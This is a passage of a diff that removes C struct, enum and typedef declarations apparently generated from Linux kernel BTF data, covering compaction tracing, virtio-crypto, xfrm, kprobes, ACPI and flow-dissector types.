tramp; - s32 key; -}; - -enum { - HW_BREAKPOINT_EMPTY = 0, - HW_BREAKPOINT_R = 1, - HW_BREAKPOINT_W = 2, - HW_BREAKPOINT_RW = 3, - HW_BREAKPOINT_X = 4, - HW_BREAKPOINT_INVALID = 7, -}; - -enum bp_type_idx { - TYPE_INST = 0, - TYPE_DATA = 0, - TYPE_MAX = 1, -}; - -struct bp_slots_histogram { - atomic_t count[4]; -}; - -struct bp_cpuinfo { - unsigned int cpu_pinned; - struct bp_slots_histogram tsk_pinned; -}; - -struct trace_event_raw_mm_compaction_isolate_template { - struct trace_entry ent; - long unsigned int start_pfn; - long unsigned int end_pfn; - long unsigned int nr_scanned; - long unsigned int nr_taken; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_migratepages { - struct trace_entry ent; - long unsigned int nr_migrated; - long unsigned int nr_failed; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_begin { - struct trace_entry ent; - long unsigned int zone_start; - long unsigned int migrate_pfn; - long unsigned int free_pfn; - long unsigned int zone_end; - bool sync; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_end { - struct trace_entry ent; - long unsigned int zone_start; - long unsigned int migrate_pfn; - long unsigned int free_pfn; - long unsigned int zone_end; - bool sync; - int status; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_try_to_compact_pages { - struct trace_entry ent; - int order; - long unsigned int gfp_mask; - int prio; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_suitable_template { - struct trace_entry ent; - int nid; - enum zone_type idx; - int order; - int ret; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_defer_template { - struct trace_entry ent; - int nid; - enum zone_type idx; - int order; - unsigned int considered; - unsigned int defer_shift; - int order_failed; - char __data[0]; -}; - -struct trace_event_raw_mm_compaction_kcompactd_sleep { - struct trace_entry ent; - int nid; - char __data[0]; -}; - -struct trace_event_raw_kcompactd_wake_template { - struct trace_entry ent; - int nid; - int order; - enum zone_type highest_zoneidx; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_compaction_isolate_template {}; - -struct trace_event_data_offsets_mm_compaction_migratepages {}; - -struct trace_event_data_offsets_mm_compaction_begin {}; - -struct trace_event_data_offsets_mm_compaction_end {}; - -struct trace_event_data_offsets_mm_compaction_try_to_compact_pages {}; - -struct trace_event_data_offsets_mm_compaction_suitable_template {}; - -struct trace_event_data_offsets_mm_compaction_defer_template {}; - -struct trace_event_data_offsets_mm_compaction_kcompactd_sleep {}; - -struct trace_event_data_offsets_kcompactd_wake_template {}; - -typedef void (*btf_trace_mm_compaction_isolate_migratepages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - -typedef void (*btf_trace_mm_compaction_isolate_freepages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - -typedef void (*btf_trace_mm_compaction_migratepages)(void *, struct compact_control *, unsigned int); - -typedef void (*btf_trace_mm_compaction_begin)(void *, struct compact_control *, long unsigned int, long unsigned int, bool); - -typedef void (*btf_trace_mm_compaction_end)(void *, struct compact_control *, long unsigned int, long unsigned int, bool, int); - -typedef void (*btf_trace_mm_compaction_try_to_compact_pages)(void *, int, gfp_t, int); - -typedef void (*btf_trace_mm_compaction_finished)(void *, struct zone *, int, int); - -typedef void (*btf_trace_mm_compaction_suitable)(void *, struct zone *, int, int); - -typedef void (*btf_trace_mm_compaction_deferred)(void *, struct zone *, int); - -typedef void (*btf_trace_mm_compaction_defer_compaction)(void *, struct zone *, int); - -typedef void (*btf_trace_mm_compaction_defer_reset)(void *, struct zone *, int); - -typedef void (*btf_trace_mm_compaction_kcompactd_sleep)(void *, int); - -typedef void (*btf_trace_mm_compaction_wakeup_kcompactd)(void *, int, int, enum zone_type); - -typedef void (*btf_trace_mm_compaction_kcompactd_wake)(void *, int, int, enum zone_type); - -typedef enum { - ISOLATE_ABORT = 0, - ISOLATE_NONE = 1, - ISOLATE_SUCCESS = 2, -} isolate_migrate_t; - -struct selinux_kernel_status { - u32 version; - u32 sequence; - u32 enforcing; - u32 policyload; - u32 deny_unknown; -}; - -struct unipair { - short unsigned int unicode; - short unsigned int fontpos; -}; - -struct unimapdesc { - short unsigned int entry_ct; - struct unipair *entries; -}; - -struct kbentry { - unsigned char kb_table; - unsigned char kb_index; - short unsigned int kb_value; -}; - -struct kbsentry { - unsigned char kb_func; - unsigned char kb_string[512]; -}; - -struct kbkeycode { - unsigned int scancode; - unsigned int keycode; -}; - -struct kbd_repeat { - int delay; - int period; -}; - -struct vt_stat { - short unsigned int v_active; - short unsigned int v_signal; - short unsigned int v_state; -}; - -struct vt_sizes { - short unsigned int v_rows; - short unsigned int v_cols; - short unsigned int v_scrollsize; -}; - -struct vt_consize { - short unsigned int v_rows; - short unsigned int v_cols; - short unsigned int v_vlin; - short unsigned int v_clin; - short unsigned int v_vcol; - short unsigned int v_ccol; -}; - -struct vt_event { - unsigned int event; - unsigned int oldev; - unsigned int newev; - unsigned int pad[4]; -}; - -struct vt_setactivate { - unsigned int console; - struct vt_mode mode; -}; - -struct vt_spawn_console { - spinlock_t lock; - struct pid *pid; - int sig; -}; - -struct vt_event_wait { - struct list_head list; - struct vt_event event; - int done; -}; - -typedef int (*pm_callback_t)(struct device *); - -struct crypto_queue { - struct list_head list; - struct list_head *backlog; - unsigned int qlen; - unsigned int max_qlen; -}; - -struct crypto_engine { - char name[30]; - bool idling; - bool busy; - bool running; - bool retry_support; - struct list_head list; - spinlock_t queue_lock; - struct crypto_queue queue; - struct device *dev; - bool rt; - int (*prepare_crypt_hardware)(struct crypto_engine *); - int (*unprepare_crypt_hardware)(struct crypto_engine *); - int (*do_batch_requests)(struct crypto_engine *); - struct kthread_worker *kworker; - struct kthread_work pump_requests; - void *priv_data; - struct crypto_async_request *cur_req; -}; - -struct data_queue { - struct virtqueue *vq; - spinlock_t lock; - char name[32]; - struct crypto_engine *engine; -}; - -struct virtio_crypto { - struct virtio_device *vdev; - struct virtqueue *ctrl_vq; - struct data_queue *data_vq; - spinlock_t ctrl_lock; - u32 max_data_queues; - u32 curr_queue; - u32 crypto_services; - u32 cipher_algo_l; - u32 cipher_algo_h; - u32 hash_algo; - u32 mac_algo_l; - u32 mac_algo_h; - u32 aead_algo; - u32 akcipher_algo; - u32 max_cipher_key_len; - u32 max_auth_key_len; - u64 max_size; - long unsigned int status; - atomic_t ref_count; - struct list_head list; - struct module *owner; - uint8_t dev_id; - bool affinity_hint_set; -}; - -enum { - TCA_CGROUP_UNSPEC = 0, - TCA_CGROUP_ACT = 1, - TCA_CGROUP_POLICE = 2, - TCA_CGROUP_EMATCHES = 3, - __TCA_CGROUP_MAX = 4, -}; - -struct tcf_ematch_tree_hdr { - __u16 nmatches; - __u16 progid; -}; - -struct tcf_pkt_info { - unsigned char *ptr; - int nexthdr; -}; - -struct tcf_ematch_ops; - -struct tcf_ematch { - struct tcf_ematch_ops *ops; - long unsigned int data; - unsigned int datalen; - u16 matchid; - u16 flags; - struct net *net; -}; - -struct tcf_ematch_ops { - int kind; - int datalen; - int (*change)(struct net *, void *, int, struct tcf_ematch *); - int (*match)(struct sk_buff *, struct tcf_ematch *, struct tcf_pkt_info *); - void (*destroy)(struct tcf_ematch *); - int (*dump)(struct sk_buff *, struct tcf_ematch *); - struct module *owner; - struct list_head link; -}; - -struct tcf_ematch_tree { - struct tcf_ematch_tree_hdr hdr; - struct tcf_ematch *matches; -}; - -struct cgroup_cls_state { - struct cgroup_subsys_state css; - u32 classid; -}; - -struct cls_cgroup_head { - u32 handle; - struct tcf_exts exts; - struct tcf_ematch_tree ematches; - struct tcf_proto *tp; - struct rcu_work rwork; -}; - -struct ip_rt_info { - __be32 daddr; - __be32 saddr; - u_int8_t tos; - u_int32_t mark; -}; - -struct ip6_rt_info { - struct in6_addr daddr; - struct in6_addr saddr; - u_int32_t mark; -}; - -struct nf_queue_entry { - struct list_head list; - struct sk_buff *skb; - unsigned int id; - unsigned int hook_index; - struct nf_hook_state state; - u16 size; -}; - -struct nf_queue_handler { - int (*outfn)(struct nf_queue_entry *, unsigned int); - void (*nf_hook_drop)(struct net *); -}; - -struct sadb_alg { - __u8 sadb_alg_id; - __u8 sadb_alg_ivlen; - __u16 sadb_alg_minbits; - __u16 sadb_alg_maxbits; - __u16 sadb_alg_reserved; -}; - -enum { - XFRM_SHARE_ANY = 0, - XFRM_SHARE_SESSION = 1, - XFRM_SHARE_USER = 2, - XFRM_SHARE_UNIQUE = 3, -}; - -struct xfrm_user_sec_ctx { - __u16 len; - __u16 exttype; - __u8 ctx_alg; - __u8 ctx_doi; - __u16 ctx_len; -}; - -struct xfrm_user_tmpl { - struct xfrm_id id; - __u16 family; - xfrm_address_t saddr; - __u32 reqid; - __u8 mode; - __u8 share; - __u8 optional; - __u32 aalgos; - __u32 ealgos; - __u32 calgos; -}; - -struct xfrm_userpolicy_type { - __u8 type; - __u16 reserved1; - __u8 reserved2; -}; - -enum xfrm_sadattr_type_t { - XFRMA_SAD_UNSPEC = 0, - XFRMA_SAD_CNT = 1, - XFRMA_SAD_HINFO = 2, - __XFRMA_SAD_MAX = 3, -}; - -struct xfrmu_sadhinfo { - __u32 sadhcnt; - __u32 sadhmcnt; -}; - -enum xfrm_spdattr_type_t { - XFRMA_SPD_UNSPEC = 0, - XFRMA_SPD_INFO = 1, - XFRMA_SPD_HINFO = 2, - XFRMA_SPD_IPV4_HTHRESH = 3, - XFRMA_SPD_IPV6_HTHRESH = 4, - __XFRMA_SPD_MAX = 5, -}; - -struct xfrmu_spdinfo { - __u32 incnt; - __u32 outcnt; - __u32 fwdcnt; - __u32 inscnt; - __u32 outscnt; - __u32 fwdscnt; -}; - -struct xfrmu_spdhinfo { - __u32 spdhcnt; - __u32 spdhmcnt; -}; - -struct xfrmu_spdhthresh { - __u8 lbits; - __u8 rbits; -}; - -struct xfrm_usersa_info { - struct xfrm_selector sel; - struct xfrm_id id; - xfrm_address_t saddr; - struct xfrm_lifetime_cfg lft; - struct xfrm_lifetime_cur curlft; - struct xfrm_stats stats; - __u32 seq; - __u32 reqid; - __u16 family; - __u8 mode; - __u8 replay_window; - __u8 flags; -}; - -struct xfrm_usersa_id { - xfrm_address_t daddr; - __be32 spi; - __u16 family; - __u8 proto; -}; - -struct xfrm_aevent_id { - struct xfrm_usersa_id sa_id; - xfrm_address_t saddr; - __u32 flags; - __u32 reqid; -}; - -struct xfrm_userspi_info { - struct xfrm_usersa_info info; - __u32 min; - __u32 max; -}; - -struct xfrm_userpolicy_info { - struct xfrm_selector sel; - struct xfrm_lifetime_cfg lft; - struct xfrm_lifetime_cur curlft; - __u32 priority; - __u32 index; - __u8 dir; - __u8 action; - __u8 flags; - __u8 share; -}; - -struct xfrm_userpolicy_id { - struct xfrm_selector sel; - __u32 index; - __u8 dir; -}; - -struct xfrm_user_acquire { - struct xfrm_id id; - xfrm_address_t saddr; - struct xfrm_selector sel; - struct xfrm_userpolicy_info policy; - __u32 aalgos; - __u32 ealgos; - __u32 calgos; - __u32 seq; -}; - -struct xfrm_user_expire { - struct xfrm_usersa_info state; - __u8 hard; -}; - -struct xfrm_user_polexpire { - struct xfrm_userpolicy_info pol; - __u8 hard; -}; - -struct xfrm_usersa_flush { - __u8 proto; -}; - -struct xfrm_user_report { - __u8 proto; - struct xfrm_selector sel; -}; - -struct xfrm_user_mapping { - struct xfrm_usersa_id id; - __u32 reqid; - xfrm_address_t old_saddr; - xfrm_address_t new_saddr; - __be16 old_sport; - __be16 new_sport; -}; - -struct xfrm_user_offload { - int ifindex; - __u8 flags; -}; - -struct xfrm_userpolicy_default { - __u8 in; - __u8 fwd; - __u8 out; -}; - -enum { - XFRM_DEV_OFFLOAD_IN = 1, - XFRM_DEV_OFFLOAD_OUT = 2, - XFRM_DEV_OFFLOAD_FWD = 3, -}; - -struct xfrm_policy_walk { - struct xfrm_policy_walk_entry walk; - u8 type; - u32 seq; -}; - -struct xfrm_algo_aead_info { - char *geniv; - u16 icv_truncbits; -}; - -struct xfrm_algo_auth_info { - u16 icv_truncbits; - u16 icv_fullbits; -}; - -struct xfrm_algo_encr_info { - char *geniv; - u16 blockbits; - u16 defkeybits; -}; - -struct xfrm_algo_comp_info { - u16 threshold; -}; - -struct xfrm_algo_desc { - char *name; - char *compat; - u8 available: 1; - u8 pfkey_supported: 1; - union { - struct xfrm_algo_aead_info aead; - struct xfrm_algo_auth_info auth; - struct xfrm_algo_encr_info encr; - struct xfrm_algo_comp_info comp; - } uinfo; - struct sadb_alg desc; -}; - -struct xfrmk_spdinfo { - u32 incnt; - u32 outcnt; - u32 fwdcnt; - u32 inscnt; - u32 outscnt; - u32 fwdscnt; - u32 spdhcnt; - u32 spdhmcnt; -}; - -struct xfrm_dump_info { - struct sk_buff *in_skb; - struct sk_buff *out_skb; - u32 nlmsg_seq; - u16 nlmsg_flags; -}; - -struct xfrm_link { - int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **, struct netlink_ext_ack *); - int (*start)(struct netlink_callback *); - int (*dump)(struct sk_buff *, struct netlink_callback *); - int (*done)(struct netlink_callback *); - const struct nla_policy *nla_pol; - int nla_max; -}; - -struct intel_early_ops { - resource_size_t (*stolen_size)(int, int, int); - resource_size_t (*stolen_base)(int, int, int, resource_size_t); -}; - -struct chipset { - u32 vendor; - u32 device; - u32 class; - u32 class_mask; - u32 flags; - void (*f)(int, int, int); -}; - -enum insn_mode { - INSN_MODE_32 = 0, - INSN_MODE_64 = 1, - INSN_MODE_KERN = 2, - INSN_NUM_MODES = 3, -}; - -struct prev_kprobe { - struct kprobe *kp; - long unsigned int status; - long unsigned int old_flags; - long unsigned int saved_flags; -}; - -struct kprobe_ctlblk { - long unsigned int kprobe_status; - long unsigned int kprobe_old_flags; - long unsigned int kprobe_saved_flags; - struct prev_kprobe prev_kprobe; -}; - -struct kretprobe_blackpoint { - const char *name; - void *addr; -}; - -struct kprobe_insn_cache { - struct mutex mutex; - void * (*alloc)(); - void (*free)(void *); - const char *sym; - struct list_head pages; - size_t insn_size; - int nr_garbage; -}; - -struct __arch_relative_insn { - u8 op; - s32 raddr; -} __attribute__((packed)); - -enum { - KERNEL_PARAM_OPS_FL_NOARG = 1, -}; - -struct param_attribute { - struct module_attribute mattr; - const struct kernel_param *param; -}; - -struct module_param_attrs { - unsigned int num; - struct attribute_group grp; - struct param_attribute attrs[0]; -}; - -struct kmalloced_param { - struct list_head list; - char val[0]; -}; - -enum { - IRQ_STARTUP_NORMAL = 0, - IRQ_STARTUP_MANAGED = 1, - IRQ_STARTUP_ABORT = 2, -}; - -enum wd_read_status { - WD_READ_SUCCESS = 0, - WD_READ_UNSTABLE = 1, - WD_READ_SKIP = 2, -}; - -enum pkey_id_type { - PKEY_ID_PGP = 0, - PKEY_ID_X509 = 1, - PKEY_ID_PKCS7 = 2, -}; - -struct module_signature { - u8 algo; - u8 hash; - u8 id_type; - u8 signer_len; - u8 key_id_len; - u8 __pad[3]; - __be32 sig_len; -}; - -struct kallsym_iter { - loff_t pos; - loff_t pos_arch_end; - loff_t pos_mod_end; - loff_t pos_ftrace_mod_end; - loff_t pos_bpf_end; - long unsigned int value; - unsigned int nameoff; - char type; - char name[512]; - char module_name[56]; - int exported; - int show_value; -}; - -struct bpf_iter__ksym { - union { - struct bpf_iter_meta *meta; - }; - union { - struct kallsym_iter *ksym; - }; -}; - -typedef struct { - __le16 e_tag; - __le16 e_perm; - __le32 e_id; -} ext4_acl_entry; - -typedef struct { - __le32 a_version; -} ext4_acl_header; - -enum evm_ima_xattr_type { - IMA_XATTR_DIGEST = 1, - EVM_XATTR_HMAC = 2, - EVM_IMA_XATTR_DIGSIG = 3, - IMA_XATTR_DIGEST_NG = 4, - EVM_XATTR_PORTABLE_DIGSIG = 5, - IMA_VERITY_DIGSIG = 6, - IMA_XATTR_LAST = 7, -}; - -struct crypto_report_rng { - char type[64]; - unsigned int seedsize; -}; - -struct bsg_device { - struct request_queue *queue; - struct device device; - struct cdev cdev; - int max_queue; - unsigned int timeout; - unsigned int reserved_size; - bsg_sg_io_fn *sg_io_fn; -}; - -struct wrapper { - cmp_func_t cmp; - swap_func_t swap; -}; - -struct region { - unsigned int start; - unsigned int off; - unsigned int group_len; - unsigned int end; - unsigned int nbits; -}; - -enum { - REG_OP_ISFREE = 0, - REG_OP_ALLOC = 1, - REG_OP_RELEASE = 2, -}; - -struct acpi_pnp_device_id { - u32 length; - char *string; -}; - -struct acpi_pnp_device_id_list { - u32 count; - u32 list_size; - struct acpi_pnp_device_id ids[0]; -}; - -struct acpi_device_info { - u32 info_size; - u32 name; - acpi_object_type type; - u8 param_count; - u16 valid; - u8 flags; - u8 highest_dstates[4]; - u8 lowest_dstates[5]; - u64 address; - struct acpi_pnp_device_id hardware_id; - struct acpi_pnp_device_id unique_id; - struct acpi_pnp_device_id class_code; - struct acpi_pnp_device_id_list compatible_id_list; -}; - -struct acpi_table_spcr { - struct acpi_table_header header; - u8 interface_type; - u8 reserved[3]; - struct acpi_generic_address serial_port; - u8 interrupt_type; - u8 pc_interrupt; - u32 interrupt; - u8 baud_rate; - u8 parity; - u8 stop_bits; - u8 flow_control; - u8 terminal_type; - u8 reserved1; - u16 pci_device_id; - u16 pci_vendor_id; - u8 pci_bus; - u8 pci_device; - u8 pci_function; - u32 pci_flags; - u8 pci_segment; - u32 reserved2; -} __attribute__((packed)); - -struct acpi_table_stao { - struct acpi_table_header header; - u8 ignore_uart; -} __attribute__((packed)); - -struct acpi_dep_data { - struct list_head node; - acpi_handle supplier; - acpi_handle consumer; - bool honor_dep; -}; - -struct acpi_probe_entry; - -typedef bool (*acpi_probe_entry_validate_subtbl)(struct acpi_subtable_header *, struct acpi_probe_entry *); - -struct acpi_probe_entry { - __u8 id[5]; - __u8 type; - acpi_probe_entry_validate_subtbl subtable_valid; - union { - acpi_tbl_table_handler probe_table; - acpi_tbl_entry_handler probe_subtbl; - }; - kernel_ulong_t driver_data; -}; - -struct acpi_scan_clear_dep_work { - struct work_struct work; - struct acpi_device *adev; -}; - -struct platform_device; - -struct focaltech_finger_state { - bool active; - bool valid; - unsigned int x; - unsigned int y; -}; - -struct focaltech_hw_state { - struct focaltech_finger_state fingers[5]; - unsigned int width; - bool pressed; -}; - -struct focaltech_data { - unsigned int x_max; - unsigned int y_max; - struct focaltech_hw_state state; -}; - -struct gov_attr_set { - struct kobject kobj; - struct list_head policy_list; - struct mutex update_lock; - int usage_count; -}; - -struct governor_attr { - struct attribute attr; - ssize_t (*show)(struct gov_attr_set *, char *); - ssize_t (*store)(struct gov_attr_set *, const char *, size_t); -}; - -struct dbs_governor; - -struct dbs_data { - struct gov_attr_set attr_set; - struct dbs_governor *gov; - void *tuners; - unsigned int ignore_nice_load; - unsigned int sampling_rate; - unsigned int sampling_down_factor; - unsigned int up_threshold; - unsigned int io_is_busy; -}; - -struct policy_dbs_info; - -struct dbs_governor { - struct cpufreq_governor gov; - struct kobj_type kobj_type; - struct dbs_data *gdbs_data; - unsigned int (*gov_dbs_update)(struct cpufreq_policy *); - struct policy_dbs_info * (*alloc)(); - void (*free)(struct policy_dbs_info *); - int (*init)(struct dbs_data *); - void (*exit)(struct dbs_data *); - void (*start)(struct cpufreq_policy *); -}; - -struct policy_dbs_info { - struct cpufreq_policy *policy; - struct mutex update_mutex; - u64 last_sample_time; - s64 sample_delay_ns; - atomic_t work_count; - struct irq_work irq_work; - struct work_struct work; - struct dbs_data *dbs_data; - struct list_head list; - unsigned int rate_mult; - unsigned int idle_periods; - bool is_shared; - bool work_in_progress; -}; - -struct cs_policy_dbs_info { - struct policy_dbs_info policy_dbs; - unsigned int down_skip; - unsigned int requested_freq; -}; - -struct cs_dbs_tuners { - unsigned int down_threshold; - unsigned int freq_step; -}; - -struct virtio_crypto_ctrl_header { - __le32 opcode; - __le32 algo; - __le32 flag; - __le32 queue_id; -}; - -struct virtio_crypto_cipher_session_para { - __le32 algo; - __le32 keylen; - __le32 op; - __le32 padding; -}; - -struct virtio_crypto_session_input { - __le64 session_id; - __le32 status; - __le32 padding; -}; - -struct virtio_crypto_cipher_session_req { - struct virtio_crypto_cipher_session_para para; - __u8 padding[32]; -}; - -struct virtio_crypto_hash_session_para { - __le32 algo; - __le32 hash_result_len; - __u8 padding[8]; -}; - -struct virtio_crypto_hash_create_session_req { - struct virtio_crypto_hash_session_para para; - __u8 padding[40]; -}; - -struct virtio_crypto_mac_session_para { - __le32 algo; - __le32 hash_result_len; - __le32 auth_key_len; - __le32 padding; -}; - -struct virtio_crypto_mac_create_session_req { - struct virtio_crypto_mac_session_para para; - __u8 padding[40]; -}; - -struct virtio_crypto_aead_session_para { - __le32 algo; - __le32 key_len; - __le32 hash_result_len; - __le32 aad_len; - __le32 op; - __le32 padding; -}; - -struct virtio_crypto_aead_create_session_req { - struct virtio_crypto_aead_session_para para; - __u8 padding[32]; -}; - -struct virtio_crypto_rsa_session_para { - __le32 padding_algo; - __le32 hash_algo; -}; - -struct virtio_crypto_ecdsa_session_para { - __le32 curve_id; - __le32 padding; -}; - -struct virtio_crypto_akcipher_session_para { - __le32 algo; - __le32 keytype; - __le32 keylen; - union { - struct virtio_crypto_rsa_session_para rsa; - struct virtio_crypto_ecdsa_session_para ecdsa; - } u; -}; - -struct virtio_crypto_akcipher_create_session_req { - struct virtio_crypto_akcipher_session_para para; - __u8 padding[36]; -}; - -struct virtio_crypto_alg_chain_session_para { - __le32 alg_chain_order; - __le32 hash_mode; - struct virtio_crypto_cipher_session_para cipher_param; - union { - struct virtio_crypto_hash_session_para hash_param; - struct virtio_crypto_mac_session_para mac_param; - __u8 padding[16]; - } u; - __le32 aad_len; - __le32 padding; -}; - -struct virtio_crypto_alg_chain_session_req { - struct virtio_crypto_alg_chain_session_para para; -}; - -struct virtio_crypto_sym_create_session_req { - union { - struct virtio_crypto_cipher_session_req cipher; - struct virtio_crypto_alg_chain_session_req chain; - __u8 padding[48]; - } u; - __le32 op_type; - __le32 padding; -}; - -struct virtio_crypto_destroy_session_req { - __le64 session_id; - __u8 padding[48]; -}; - -struct virtio_crypto_op_ctrl_req { - struct virtio_crypto_ctrl_header header; - union { - struct virtio_crypto_sym_create_session_req sym_create_session; - struct virtio_crypto_hash_create_session_req hash_create_session; - struct virtio_crypto_mac_create_session_req mac_create_session; - struct virtio_crypto_aead_create_session_req aead_create_session; - struct virtio_crypto_akcipher_create_session_req akcipher_create_session; - struct virtio_crypto_destroy_session_req destroy_session; - __u8 padding[56]; - } u; -}; - -struct virtio_crypto_op_header { - __le32 opcode; - __le32 algo; - __le64 session_id; - __le32 flag; - __le32 padding; -}; - -struct virtio_crypto_cipher_para { - __le32 iv_len; - __le32 src_data_len; - __le32 dst_data_len; - __le32 padding; -}; - -struct virtio_crypto_hash_para { - __le32 src_data_len; - __le32 hash_result_len; -}; - -struct virtio_crypto_mac_para { - struct virtio_crypto_hash_para hash; -}; - -struct virtio_crypto_aead_para { - __le32 iv_len; - __le32 aad_len; - __le32 src_data_len; - __le32 dst_data_len; -}; - -struct virtio_crypto_cipher_data_req { - struct virtio_crypto_cipher_para para; - __u8 padding[24]; -}; - -struct virtio_crypto_hash_data_req { - struct virtio_crypto_hash_para para; - __u8 padding[40]; -}; - -struct virtio_crypto_mac_data_req { - struct virtio_crypto_mac_para para; - __u8 padding[40]; -}; - -struct virtio_crypto_alg_chain_data_para { - __le32 iv_len; - __le32 src_data_len; - __le32 dst_data_len; - __le32 cipher_start_src_offset; - __le32 len_to_cipher; - __le32 hash_start_src_offset; - __le32 len_to_hash; - __le32 aad_len; - __le32 hash_result_len; - __le32 reserved; -}; - -struct virtio_crypto_alg_chain_data_req { - struct virtio_crypto_alg_chain_data_para para; -}; - -struct virtio_crypto_sym_data_req { - union { - struct virtio_crypto_cipher_data_req cipher; - struct virtio_crypto_alg_chain_data_req chain; - __u8 padding[40]; - } u; - __le32 op_type; - __le32 padding; -}; - -struct virtio_crypto_aead_data_req { - struct virtio_crypto_aead_para para; - __u8 padding[32]; -}; - -struct virtio_crypto_akcipher_para { - __le32 src_data_len; - __le32 dst_data_len; -}; - -struct virtio_crypto_akcipher_data_req { - struct virtio_crypto_akcipher_para para; - __u8 padding[40]; -}; - -struct virtio_crypto_op_data_req { - struct virtio_crypto_op_header header; - union { - struct virtio_crypto_sym_data_req sym_req; - struct virtio_crypto_hash_data_req hash_req; - struct virtio_crypto_mac_data_req mac_req; - struct virtio_crypto_aead_data_req aead_req; - struct virtio_crypto_akcipher_data_req akcipher_req; - __u8 padding[48]; - } u; -}; - -struct virtio_crypto_config { - __le32 status; - __le32 max_dataqueues; - __le32 crypto_services; - __le32 cipher_algo_l; - __le32 cipher_algo_h; - __le32 hash_algo; - __le32 mac_algo_l; - __le32 mac_algo_h; - __le32 aead_algo; - __le32 max_cipher_key_len; - __le32 max_auth_key_len; - __le32 akcipher_algo; - __le64 max_size; -}; - -struct virtio_crypto_inhdr { - __u8 status; -}; - -struct virtio_crypto_ctrl_request { - struct virtio_crypto_op_ctrl_req ctrl; - struct virtio_crypto_session_input input; - struct virtio_crypto_inhdr ctrl_status; - struct completion compl; -}; - -struct virtio_crypto_request; - -typedef void (*virtio_crypto_data_callback)(struct virtio_crypto_request *, int); - -struct virtio_crypto_request { - uint8_t status; - struct virtio_crypto_op_data_req *req_data; - struct scatterlist **sgs; - struct data_queue *dataq; - virtio_crypto_data_callback alg_cb; -}; - -struct flow_dissector_mpls_lse { - u32 mpls_ttl: 8; - u32 mpls_bos: 1; - u32 mpls_tc: 3; - u32 mpls_label: 20; -}; - -struct flow_dissector_key_mpls { - struct flow_dissector_mpls_lse ls[7]; - u8 used_lses; -}; - -struct flow_dissector_key_enc_opts { - u8 data[255]; - u8 len; - __be16 dst_opt_type; -}; - -struct flow_dissector_key_arp { - __u32 sip; - __u32 tip; - __u8 op; - unsigned char sha[6]; - unsigned char tha[6]; -}; - -struct flow_dissector_key_ports_range { - union { - struct flow_dissector_key_ports tp; - struct { - struct flow_dissector_key_ports tp_min; - struct flow_dissector_key_ports tp_max; - }; - }; -}; - -struct flow_dissector_key_eth_addrs { - unsigned char dst[6]; - unsigned char src[6]; -}; - -struct flow_dissector_key_tcp { - __be16 flags; -}; - -struct flow_dissector_key_ip { - __u8 tos; - __u8 ttl; -}; - -struct flow_dissector_key_meta { - int ingress_ifindex; - u16 ingress_iftype; -}; - -struct flow_dissector_key_ct { - u16 ct_state; - u16 ct_zone; - u32 ct_mark; - u32 ct_labels[4]; -}; - -struct flow_dissector_key_pppoe { - __be16 session_id; - __be16 ppp_proto; - __be16 type; -}; - -struct flow_dissector_key_l2tpv3 { - __be32 session_id; -}; - -struct flow_match { - struct flow_dissector *dissector; - void *mask; - void *key; -}; - -struct flow_match_meta { - struct flow_dissector_key_meta *key; - struct flow_dissector_key_meta *mask; -}; - -struct flow_match_basic { - struct flow_dissector_key_basic *key; - struct flow_dissector_key_basic *mask; -}; - -struct flow_match_control { - struct flow_dissector_key_control *key; - struct flow_dissector_key_control *mask; -}; - -struct flow_match_eth_addrs { - struct flow_dissector_key_eth_addrs *key; - struct flow_dissector_key_eth_addrs *mask; -}; - -struct flow_match_vlan { - struct flow_dissector_key_vlan *key; - struct flow_dissector_key_vlan *mask; -}; - -struct flow_match_arp { - struct flow_dissector_key_arp *key; - struct flow_dissector_key_arp *mask; -}; - -struct flow_match_ipv4_addrs { - struct flow_dissector_key_ipv4_addrs *key; - struct flow_dissector_key_ipv4_addrs *mask; -}; - -struct flow_match_ipv6_addrs { - struct flow_dissector_key_ipv6_addrs *key; - struct flow_dissector_key_ipv6_addrs *mask; -}; - -struct flow_match_ip { - struct flow_dissector_key_ip *key; - struct flow_dissector_key_ip *mask; -}; - -struct flow_match_ports { - struct flow_dissector_key_ports *key; - struct flow_dissector_key_ports *mask; -}; - -struct flow_match_ports_range { - struct flow_dissector_key_ports_range *key; - struct flow_dissector_key_ports_range *mask; -}; - -struct flow_match_icmp { - struct flow_dissector_key_icmp *key; - struct flow_dissector_key_icmp *mask; -}; - -struct flow_match_tcp { - struct flow_dissector_key_tcp *key; - struct flow_dissector_key_tcp *mask; -}; - -struct flow_match_mpls { - struct flow_dissector_key_mpls *key; - struct flow_dissector_key_mpls *mask; -}; - -struct flow_match_enc_keyid { - struct flow_dissector_key_keyid *key; - struct flow_dissector_key_keyid *mask; -}; - -struct flow_match_enc_opts { - struct flow_dissector_key_enc_opts *key; - struct flow_dissector_key_enc_opts *mask; -}; - -struct flow_match_ct { - struct flow_dissector_key_ct *key; - struct flow_dissector_key_ct *mask; -}; - -struct flow_match_pppoe { - struct flow_dissector_key_pppoe *key; - struct flow_dissector_key_pppoe *mask; -}; - -struct flow_match_l2tpv3 { - struct flow_dissector_key_l2tpv3 *key; - struct flow_dissector_key_l2tpv3 *mask; -}; - -enum flow_action_id { - FLOW_ACTION_ACCEPT = 0, - FLOW_ACTION_DROP = 1, - FLOW_ACTION_TRAP = 2, - FLOW_ACTION_GOTO = 3, - FLOW_ACTION_REDIRECT = 4, - FLOW_ACTION_MIRRED = 5, - FLOW_ACTION_REDIRECT_INGRESS = 6, - FLOW_ACTION_MIRRED_INGRESS = 7, - FLOW_ACTION_VLAN_PUSH = 8, - FLOW_ACTION_VLAN_POP = 9, - FLOW_ACTION_VLAN_MANGLE = 10, - FLOW_ACTION_TUNNEL_ENCAP = 11, - FLOW_ACTION_TUNNEL_DECAP = 12, - FLOW_ACTION_MANGLE = 13, - FLOW_ACTION_ADD = 14, - FLOW_ACTION_CSUM = 15, - FLOW_ACTION_MARK = 16, - FLOW_ACTION_PTYPE = 17, - FLOW_ACTION_PRIORITY = 18, - FLOW_ACTION_RX_QUEUE_MAPPING = 19, - FLOW_ACTION_WAKE = 20, - FLOW_ACTION_QUEUE = 21, - 